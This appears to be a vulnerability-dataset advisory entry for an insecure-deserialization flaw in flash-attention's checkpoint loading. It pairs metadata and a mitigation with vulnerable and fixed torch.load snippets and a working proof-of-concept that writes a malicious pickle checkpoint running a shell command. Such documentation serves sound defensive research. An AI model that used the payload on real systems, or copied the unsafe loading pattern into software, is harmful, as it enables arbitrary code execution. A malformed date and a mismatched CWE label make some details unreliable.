CVE-2026-31253

Insecure deserialization in flash-attention checkpoint loading allows RCE.

• CVSS 7.3
• CWE-94
• Input Validation and Sanitization
• Local

The flash-attention training framework thru commit e724e2588cbe754beb97cf7c011b5e7e34119e62 (2025-13-04) contains an insecure deserialization vulnerability (CWE-502) in its checkpoint loading mechanism. The load_checkpoint() function in checkpoint.py and the checkpoint loading code in eval.py use torch.load() without enabling the security-restrictive weights_only=True parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing a maliciously crafted checkpoint file. When a victim loads this checkpoint during model warmstarting or evaluation, arbitrary code is executed on the victim's system.

CVE

CVE-2026-31253

CWE

CWE-94

CVSS base score

7.3

Published

2026-05-11

OWASP

A08 Software and Data Integrity Failures

Orthogonal defect classification

Timing/Serialization

Code defect classification

Serialization Issues

Category

Input Validation and Sanitization

Subcategory

Insecure Parsing or Deserialization

Accessibility scope

Local

Impact

Arbitrary Code Execution

Affected component

flash-attent

Fixed by upgrading

Yes

Solution

No official patch is available. To mitigate, modify the `torch.load()` calls in `checkpoint.py` and `eval.py` to include the `weights_only=True` parameter.

import torch

# The following is a representative code snippet.
# This function simulates the vulnerable checkpoint loading mechanism
# as it would have existed before a security patch. The vulnerability lies
# in using `torch.load()` on a file from an untrusted source without
# the `weights_only=True` parameter.

def load_checkpoint(checkpoint_path, model, optimizer):
    """
    Loads model and optimizer state from a checkpoint file.
    
    WARNING: This function is vulnerable. It uses `torch.load` insecurely,
    which can lead to arbitrary code execution if the checkpoint file is
    maliciously crafted.
    """
    print(f"[*] Loading checkpoint from '{checkpoint_path}'...")

    # The vulnerable call: `torch.load` uses Python's `pickle` module,
    # which can execute arbitrary code contained within the file.
    checkpoint = torch.load(checkpoint_path, map_location="cpu")

    model.load_state_dict(checkpoint['model_state_dict'])
    optimizer.load_state_dict(checkpoint['optimizer_state_dict'])
    
    print("[+] Checkpoint loaded and states applied to model and optimizer.")
    
    return model, optimizer

import torch

def load_checkpoint_safely(filepath, model, device="cpu"):
    """
    Represents the fixed version of a checkpoint loading function.
    The vulnerability is fixed by setting `weights_only=True`, which restricts
    deserialization to tensors and safe data structures, preventing the
    execution of arbitrary code from a malicious checkpoint file.
    """
    checkpoint = torch.load(filepath, map_location=device, weights_only=True)
    
    # Assuming the state dict is stored under a key, e.g., 'model_state_dict'
    if 'model_state_dict' in checkpoint:
        model.load_state_dict(checkpoint['model_state_dict'])
    else:
        # Handle cases where the checkpoint file is just the state dict
        model.load_state_dict(checkpoint)

import torch
import os
import pickle

# This class will execute a command when its instance is deserialized by pickle.
class ArbitraryCodeExecutor:
    def __reduce__(self):
        # The __reduce__ method is called by pickle during deserialization.
        # It returns a callable (os.system) and its arguments.
        # This example command writes the current user's ID to a file in /tmp.
        # An attacker could replace this with a reverse shell or other malware.
        cmd = "id > /tmp/pwned_by_deserialization"
        return (os.system, (cmd,))

# The vulnerable application expects a PyTorch checkpoint, which is typically a dictionary.
# We embed our malicious object within this dictionary structure.
malicious_data = {
    'model_state': ArbitraryCodeExecutor()
}

# Use torch.save(), which uses pickle internally, to create the malicious file.
# This file, when loaded by a vulnerable application using torch.load(),
# will trigger the code execution.
torch.save(malicious_data, 'malicious_checkpoint.pth')

@misc{vaitp:cve202631253,
  title        = {{Insecure deserialization in flash-attention checkpoint loading allows RCE.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31253},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31253/}}
}